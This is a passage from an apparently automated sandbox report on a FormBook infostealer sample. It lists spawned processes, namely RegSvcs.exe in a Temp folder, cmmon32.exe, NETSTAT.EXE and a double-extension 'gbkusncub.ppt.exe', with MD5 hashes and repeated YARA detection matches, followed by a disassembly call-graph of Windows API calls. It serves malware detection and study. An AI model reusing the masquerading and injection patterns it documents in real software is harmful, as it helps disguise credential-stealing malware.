                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000003.2612775741.00000000014B3000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000003.2612775741.00000000014B3000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000003.2613533809.0000000001484000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001B.00000003.2613533809.0000000001484000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001B.00000003.2613533809.0000000001484000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000003.2613533809.0000000001484000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000003.2613533809.0000000001484000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000003.2613039958.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001B.00000003.2613039958.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001B.00000003.2613039958.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000003.2613039958.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000003.2613039958.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:28
                                                                                                                                                      Start time:09:54:50
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Users\user\AppData\Local\Temp\RegSvcs.exe
                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                      Commandline:"C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
                                                                                                                                                      Imagebase:0x210000
                                                                                                                                                      File size:45'984 bytes
                                                                                                                                                      MD5 hash:9D352BC46709F0CB5EC974633A0C3C94
                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:29
                                                                                                                                                      Start time:09:54:50
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Users\user\AppData\Local\Temp\RegSvcs.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
                                                                                                                                                      Imagebase:0xa00000
                                                                                                                                                      File size:45'984 bytes
                                                                                                                                                      MD5 hash:9D352BC46709F0CB5EC974633A0C3C94
                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:30
                                                                                                                                                      Start time:09:54:51
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Windows\SysWOW64\cmmon32.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Windows\SysWOW64\cmmon32.exe"
                                                                                                                                                      Imagebase:0x860000
                                                                                                                                                      File size:36'352 bytes
                                                                                                                                                      MD5 hash:DEC326E5B4D23503EA5176878DDDB683
                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Yara matches:
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001E.00000002.2651574285.00000000030B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001E.00000002.2651574285.00000000030B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001E.00000002.2651574285.00000000030B0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001E.00000002.2651574285.00000000030B0000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001E.00000002.2651574285.00000000030B0000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:31
                                                                                                                                                      Start time:09:54:51
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Users\user\llkd\gbkusncub.ppt.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Users\user\llkd\GBKUSN~1.EXE" C:\Users\user\llkd\hcmdvu.msc
                                                                                                                                                      Imagebase:0x300000
                                                                                                                                                      File size:947'288 bytes
                                                                                                                                                      MD5 hash:0ADB9B817F1DF7807576C2D7068DD931
                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Yara matches:
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001F.00000003.2700539673.000000000196B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001F.00000003.2700539673.000000000196B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001F.00000003.2700539673.000000000196B000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001F.00000003.2700539673.000000000196B000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001F.00000003.2700539673.000000000196B000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001F.00000003.2701229236.00000000019AD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001F.00000003.2701229236.00000000019AD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001F.00000003.2701229236.00000000019AD000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001F.00000003.2701229236.00000000019AD000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001F.00000003.2701229236.00000000019AD000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001F.00000003.2701305543.00000000019DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001F.00000003.2701305543.00000000019DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001F.00000003.2701305543.00000000019DB000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001F.00000003.2701305543.00000000019DB000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001F.00000003.2701305543.00000000019DB000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001F.00000003.2701615976.000000000190C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001F.00000003.2701615976.000000000190C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001F.00000003.2701615976.000000000190C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001F.00000003.2701615976.000000000190C000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001F.00000003.2701615976.000000000190C000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001F.00000003.2700890863.000000000190C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001F.00000003.2700890863.000000000190C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001F.00000003.2700890863.000000000190C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001F.00000003.2700890863.000000000190C000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001F.00000003.2700890863.000000000190C000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001F.00000003.2701110782.000000000190C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001F.00000003.2701110782.000000000190C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001F.00000003.2701110782.000000000190C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001F.00000003.2701110782.000000000190C000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001F.00000003.2701110782.000000000190C000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001F.00000003.2701716663.000000000190E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001F.00000003.2701716663.000000000190E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001F.00000003.2701716663.000000000190E000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001F.00000003.2701716663.000000000190E000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001F.00000003.2701716663.000000000190E000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001F.00000003.2701553801.000000000196B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001F.00000003.2701553801.000000000196B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001F.00000003.2701553801.000000000196B000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001F.00000003.2701553801.000000000196B000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001F.00000003.2701553801.000000000196B000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001F.00000003.2701767663.000000000193C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001F.00000003.2701767663.000000000193C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001F.00000003.2701767663.000000000193C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001F.00000003.2701767663.000000000193C000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001F.00000003.2701767663.000000000193C000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:32
                                                                                                                                                      Start time:09:54:59
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Users\user\AppData\Local\Temp\RegSvcs.exe
                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                      Commandline:"C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
                                                                                                                                                      Imagebase:0x100000
                                                                                                                                                      File size:45'984 bytes
                                                                                                                                                      MD5 hash:9D352BC46709F0CB5EC974633A0C3C94
                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:33
                                                                                                                                                      Start time:09:54:59
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Users\user\AppData\Local\Temp\RegSvcs.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
                                                                                                                                                      Imagebase:0x4d0000
                                                                                                                                                      File size:45'984 bytes
                                                                                                                                                      MD5 hash:9D352BC46709F0CB5EC974633A0C3C94
                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:34
                                                                                                                                                      Start time:09:55:06
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Windows\SysWOW64\NETSTAT.EXE
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Windows\SysWOW64\NETSTAT.EXE"
                                                                                                                                                      Imagebase:0xa20000
                                                                                                                                                      File size:32'768 bytes
                                                                                                                                                      MD5 hash:9DB170ED520A6DD57B5AC92EC537368A
                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Yara matches:
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000022.00000002.2804048077.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000022.00000002.2804048077.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000022.00000002.2804048077.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000022.00000002.2804048077.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000022.00000002.2804048077.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      Has exited:true

                                                                                                                                                      Disassembly

                                                                                                                                                      Reset < >

                                                                                                                                                        Execution Graph

                                                                                                                                                        Execution Coverage:9.7%
                                                                                                                                                        Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                        Signature Coverage:11.1%
                                                                                                                                                        Total number of Nodes:1909
                                                                                                                                                        Total number of Limit Nodes:37
                                                                                                                                                        execution_graph 27724 db4cda 27725 db4c88 27724->27725 27725->27724 27727 db4fce 27725->27727 27753 db4d2c 27727->27753 27729 db4fde 27730 db503b 27729->27730 27739 db505f 27729->27739 27731 db4f6c DloadReleaseSectionWriteAccess 8 API calls 27730->27731 27732 db5046 RaiseException 27731->27732 27748 db5234 27732->27748 27733 db50d7 LoadLibraryExA 27734 db50ea GetLastError 27733->27734 27735 db5138 27733->27735 27741 db50fd 27734->27741 27742 db5113 27734->27742 27738 db5143 FreeLibrary 27735->27738 27740 db514a 27735->27740 27736 db51a8 GetProcAddress 27737 db5206 27736->27737 27744 db51b8 GetLastError 27736->27744 27764 db4f6c 27737->27764 27738->27740 27739->27733 27739->27735 27739->27737 27739->27740 27740->27736 27740->27737 27741->27735 27741->27742 27743 db4f6c DloadReleaseSectionWriteAccess 8 API calls 27742->27743 27745 db511e RaiseException 27743->27745 27746 db51cb 27744->27746 27745->27748 27746->27737 27749 db4f6c DloadReleaseSectionWriteAccess 8 API calls 27746->27749 27748->27725 27750 db51ec RaiseException 27749->27750 27751 db4d2c ___delayLoadHelper2@8 8 API calls 27750->27751 27752 db5203 27751->27752 27752->27737 27754 db4d38 27753->27754 27755 db4d5e 27753->27755 27772 db4dd5 27754->27772 27755->27729 27757 db4d3d 27759 db4d59 27757->27759 27777 db4efe 27757->27777 27782 db4d5f GetModuleHandleW GetProcAddress GetProcAddress 27759->27782 27761 db4fa7 27762 db4fc3 27761->27762 27763 db4fbf RtlReleaseSRWLockExclusive 27761->27763 27762->27729 27763->27729 27765 db4f7e 27764->27765 27766 db4fa0 27764->27766 27767 db4dd5 DloadReleaseSectionWriteAccess 4 API calls 27765->27767 27766->27748 27768 db4f83 27767->27768 27769 db4f9b 27768->27769 27770 db4efe DloadProtectSection 3 API calls 27768->27770 27785 db4fa2 GetModuleHandleW GetProcAddress GetProcAddress RtlReleaseSRWLockExclusive DloadReleaseSectionWriteAccess 27769->27785 27770->27769 27783 db4d5f GetModuleHandleW GetProcAddress GetProcAddress 27772->27783 27774 db4dda 27775 db4df2 RtlAcquireSRWLockExclusive 27774->27775 27776 db4df6 27774->27776 27775->27757 27776->27757 27778 db4f13 DloadProtectSection 27777->27778 27779 db4f19 27778->27779 27780 db4f4e VirtualProtect 27778->27780 27784 db4e14 VirtualQuery GetSystemInfo 27778->27784 27779->27759 27780->27779 27782->27761 27783->27774 27784->27780 27785->27766 27786 db437d 27787 db4389 __EH_prolog3_GS 27786->27787 27804 da4318 27787->27804 27793 db43dc 27815 d91a66 27793->27815 27797 db43f5 27822 db0678 PeekMessageW 27797->27822 27803 db4430 27828 db5787 27803->27828 27805 da4328 27804->27805 27831 da4349 27805->27831 27808 da6a25 27866 da68d4 27808->27866 27811 d925a4 27812 d925b2 27811->27812 27813 d925ad 27811->27813 27812->27793 27814 d91a66 26 API calls 27813->27814 27814->27812 27816 d91a71 27815->27816 27817 d91a80 27815->27817 27818 d912a7 26 API calls 27816->27818 27819 d91de7 27817->27819 27818->27817 27820 d91df1 27819->27820 27821 d91df3 SetDlgItemTextW 27819->27821 27820->27821 27821->27797 27823 db06cc 27822->27823 27824 db0693 GetMessageW 27822->27824 27823->27803 27827 d919a9 26 API calls 27823->27827 27825 db06a9 IsDialogMessageW 27824->27825 27826 db06b8 TranslateMessage DispatchMessageW 27824->27826 27825->27823 27825->27826 27826->27823 27827->27803 27829 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 27828->27829 27830 db4446 27829->27830 27837 da347b 27831->27837 27834 da436c LoadStringW 27835 da4346 27834->27835 27836 da4383 LoadStringW 27834->27836 27835->27808 27836->27835 27844 da338e 27837->27844 27841 da34bc 27854 db5734 27841->27854 27843 da34d1 27843->27834 27843->27835 27845 da33c2 27844->27845 27853 da3445 _strncpy 27844->27853 27849 da33e2 27845->27849 27862 da89ed WideCharToMultiByte 27845->27862 27847 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 27848 da3474 27847->27848 27848->27841 27861 da34d5 26 API calls 27848->27861 27852 da3413 27849->27852 27863 da42b2 50 API calls __vsnprintf 27849->27863 27864 dbd097 26 API calls 3 library calls 27852->27864 27853->27847 27855 db573d IsProcessorFeaturePresent 27854->27855 27856 db573c 27854->27856 27858 db5bfc 27855->27858 27856->27843 27865 db5bbf SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 27858->27865 27860 db5cdf 27860->27843 27861->27841 27862->27849 27863->27852 27864->27853 27865->27860 27867 da68e0 __EH_prolog3_GS 27866->27867 27881 da663b 27867->27881 27872 da6929 27877 da696e 27872->27877 27894 da6a3d 27872->27894 27897 d97ff0 28 API calls 27872->27897 27873 da698e 27879 da69d2 27873->27879 27899 d919a9 26 API calls 27873->27899 27875 db5787 5 API calls 27876 da69e8 27875->27876 27876->27811 27877->27873 27898 d97ff0 28 API calls 27877->27898 27879->27875 27882 da66df 27881->27882 27883 da6651 27881->27883 27885 d9adcc 27882->27885 27883->27882 27884 d91b63 28 API calls 27883->27884 27884->27883 27886 d9ae43 27885->27886 27889 d9addd 27885->27889 27907 d91a92 28 API calls std::_Xinvalid_argument 27886->27907 27893 d9ade8 27889->27893 27900 d912d3 28 API calls Concurrency::cancel_current_task 27889->27900 27891 d9ae17 27901 d911b8 27891->27901 27893->27872 27951 d9f68d 27894->27951 27897->27872 27898->27873 27899->27879 27900->27891 27902 d911cb 27901->27902 27903 d911c3 27901->27903 27905 d911c9 27902->27905 27908 db56f6 27902->27908 27922 d911dd 27903->27922 27905->27893 27910 db56fb 27908->27910 27911 db5715 27910->27911 27913 db5717 27910->27913 27931 dbd08c 27910->27931 27945 dbe91a 7 API calls 2 library calls 27910->27945 27911->27905 27914 d91a25 Concurrency::cancel_current_task 27913->27914 27916 db5721 27913->27916 27938 db734a 27914->27938 27918 db734a _com_raise_error RaiseException 27916->27918 27917 d91a41 27920 d91a5a 27917->27920 27941 d912a7 27917->27941 27919 db6628 27918->27919 27920->27905 27923 d911e8 27922->27923 27924 d91206 27922->27924 27926 db56f6 28 API calls 27923->27926 27950 d91a25 27 API calls 2 library calls 27924->27950 27928 d911ee 27926->27928 27927 d9120b 27929 d911f5 27928->27929 27949 dbac9e 26 API calls __cftof 27928->27949 27929->27905 27936 dc040e __dosmaperr 27931->27936 27932 dc044c 27947 dc01d3 20 API calls __dosmaperr 27932->27947 27934 dc0437 RtlAllocateHeap 27935 dc044a 27934->27935 27934->27936 27935->27910 27936->27932 27936->27934 27946 dbe91a 7 API calls 2 library calls 27936->27946 27939 db7391 RaiseException 27938->27939 27940 db7364 27938->27940 27939->27917 27940->27939 27942 d912b4 27941->27942 27944 d912c1 27941->27944 27948 d919a9 26 API calls 27942->27948 27944->27920 27945->27910 27946->27936 27947->27935 27948->27944 27950->27927 27952 d9f6a4 __vsnwprintf_l 27951->27952 27955 dbcee1 27952->27955 27958 dbafa4 27955->27958 27959 dbafcc 27958->27959 27960 dbafe4 27958->27960 27975 dc01d3 20 API calls __dosmaperr 27959->27975 27960->27959 27961 dbafec 27960->27961 27977 dbb543 27961->27977 27963 dbafd1 27976 dbac8e 26 API calls __cftof 27963->27976 27967 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 27969 d9f6ae 27967->27969 27969->27872 27970 dbb074 27986 dbb8f3 51 API calls 4 library calls 27970->27986 27973 dbb07f 27987 dbb5c6 20 API calls _free 27973->27987 27974 dbafdc 27974->27967 27975->27963 27976->27974 27978 dbb560 27977->27978 27979 dbaffc 27977->27979 27978->27979 27988 dc0005 GetLastError 27978->27988 27985 dbb50e 20 API calls 2 library calls 27979->27985 27981 dbb581 28009 dc0706 38 API calls __cftof 27981->28009 27983 dbb59a 28010 dc0733 38 API calls __cftof 27983->28010 27985->27970 27986->27973 27987->27974 27989 dc001b 27988->27989 27990 dc0027 27988->27990 28011 dc1b0b 11 API calls 2 library calls 27989->28011 28012 dc1de6 20 API calls __dosmaperr 27990->28012 27993 dc0021 27993->27990 27995 dc0070 SetLastError 27993->27995 27994 dc0033 27997 dc003b 27994->27997 28019 dc1b61 11 API calls 2 library calls 27994->28019 27995->27981 28013 dc03d4 27997->28013 27998 dc0050 27998->27997 28000 dc0057 27998->28000 28020 dbfe70 20 API calls __dosmaperr 28000->28020 28001 dc0041 28003 dc007c SetLastError 28001->28003 28021 dbfc3e 38 API calls _abort 28003->28021 28004 dc0062 28006 dc03d4 _free 20 API calls 28004->28006 28008 dc0069 28006->28008 28008->27995 28008->28003 28009->27983 28010->27979 28011->27993 28012->27994 28014 dc0408 __dosmaperr 28013->28014 28015 dc03df RtlFreeHeap 28013->28015 28014->28001 28015->28014 28016 dc03f4 28015->28016 28022 dc01d3 20 API calls __dosmaperr 28016->28022 28018 dc03fa GetLastError 28018->28014 28019->27998 28020->28004 28022->28018 28023 db2813 28045 d97673 28023->28045 28025 db2af7 28100 d958cb 45 API calls 28025->28100 28026 d97673 28 API calls 28027 db2aec 28026->28027 28049 db38a0 28027->28049 28031 db2832 _wcslen 28031->28025 28037 db2a9a 28031->28037 28087 d9120c 28031->28087 28033 db28fe 28096 da645a 28 API calls 28033->28096 28035 db2a01 28038 db2a39 28035->28038 28098 d919a9 26 API calls 28035->28098 28037->28025 28037->28026 28038->28037 28099 d919a9 26 API calls 28038->28099 28040 d91a66 26 API calls 28041 db292f 28040->28041 28041->28035 28041->28040 28042 d914a7 28 API calls 28041->28042 28043 d9adaa CompareStringW 28041->28043 28097 da645a 28 API calls 28041->28097 28042->28041 28043->28041 28046 d9768c 28045->28046 28101 d97430 28046->28101 28048 d97699 28048->28031 28054 db38ac __EH_prolog3_GS _abort 28049->28054 28050 d91a66 26 API calls 28051 db3bcf 28050->28051 28052 db5787 5 API calls 28051->28052 28053 db3bd4 28052->28053 28053->28025 28057 db3a1e 28054->28057 28078 db3ba8 28054->28078 28125 da8da4 CompareStringW 28054->28125 28112 d914a7 28057->28112 28061 d91a66 26 API calls 28062 db3a4b 